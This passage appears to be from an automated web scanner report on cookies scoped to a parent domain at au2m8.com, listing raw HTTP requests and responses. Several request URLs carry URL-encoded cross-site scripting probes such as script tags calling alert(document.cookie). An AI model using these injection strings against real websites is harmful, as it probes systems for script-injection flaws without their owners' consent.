Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; bpl1297002318=1296998718; bpl1297002333=1296998733; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:25:49 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 13:25:49 GMT
Last-Modified: Sun, 06 Feb 2011 13:25:49 GMT
Set-Cookie: bpl1297002349=1296998749; expires=Sun, 06-Feb-2011 14:25:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 14:25:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 14:25:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:49 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11532

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 13:25:49 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.186. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296950967=1296947367; expires=Sun, 06-Feb-2011 00:09:27 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:09:27 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:09:27 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; bpl1296950921=1296947321; bpl1296950936=1296947336; bpl1296950951=1296947351; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:09:27 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:09:27 GMT
Last-Modified: Sat, 05 Feb 2011 23:09:27 GMT
Set-Cookie: bpl1296950967=1296947367; expires=Sun, 06-Feb-2011 00:09:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:09:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:09:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:09:27 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11451

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:09:27 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.187. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297018316=1297014716; expires=Sun, 06-Feb-2011 18:51:56 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:51:56 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:51:56 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:51:56 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:51:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:51:56 GMT
Last-Modified: Sun, 06 Feb 2011 17:51:56 GMT
Set-Cookie: bpl1297018316=1297014716; expires=Sun, 06-Feb-2011 18:51:56 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:51:56 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:51:56 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:51:56 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11478

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:51:56 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.188. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012287=1297008687; expires=Sun, 06-Feb-2011 17:11:27 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:11:27 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:11:27 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:27 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:27 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:11:27 GMT
Last-Modified: Sun, 06 Feb 2011 16:11:27 GMT
Set-Cookie: bpl1297012287=1297008687; expires=Sun, 06-Feb-2011 17:11:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:11:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:11:27 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:27 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11281

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:11:27 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.189. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012517=1297008917; expires=Sun, 06-Feb-2011 17:15:17 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:17 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:17 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:17 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:17 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:15:17 GMT
Last-Modified: Sun, 06 Feb 2011 16:15:17 GMT
Set-Cookie: bpl1297012517=1297008917; expires=Sun, 06-Feb-2011 17:15:17 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:15:17 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:15:17 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:17 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11396

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:15:17 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.190. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297015372=1297011772; expires=Sun, 06-Feb-2011 18:02:52 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:02:52 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:02:52 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:02:52 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; bpl1297002318=1296998718; bpl1297002333=1296998733; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:02:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:02:52 GMT
Last-Modified: Sun, 06 Feb 2011 17:02:52 GMT
Set-Cookie: bpl1297015372=1297011772; expires=Sun, 06-Feb-2011 18:02:52 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:02:52 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:02:52 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:02:52 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11532

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:02:52 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.191. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012564=1297008964; expires=Sun, 06-Feb-2011 17:16:04 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:04 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:04 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:04 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:16:04 GMT
Last-Modified: Sun, 06 Feb 2011 16:16:04 GMT
Set-Cookie: bpl1297012564=1297008964; expires=Sun, 06-Feb-2011 17:16:04 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:16:04 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:16:04 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:04 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11438

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:16:04 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.192. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297013515=1297009915; expires=Sun, 06-Feb-2011 17:31:55 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:31:55 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:31:55 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:31:55 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:31:55 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:31:55 GMT
Last-Modified: Sun, 06 Feb 2011 16:31:55 GMT
Set-Cookie: bpl1297013515=1297009915; expires=Sun, 06-Feb-2011 17:31:55 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:31:55 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:31:55 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:31:55 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11494

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:31:55 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.193. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012563=1297008963; expires=Sun, 06-Feb-2011 17:16:03 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:03 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:03 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:03 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:03 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:16:03 GMT
Last-Modified: Sun, 06 Feb 2011 16:16:03 GMT
Set-Cookie: bpl1297012563=1297008963; expires=Sun, 06-Feb-2011 17:16:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:16:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:16:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:03 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11441

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:16:03 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.194. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297002287=1296998687; expires=Sun, 06-Feb-2011 14:24:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:24:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:24:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:24:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

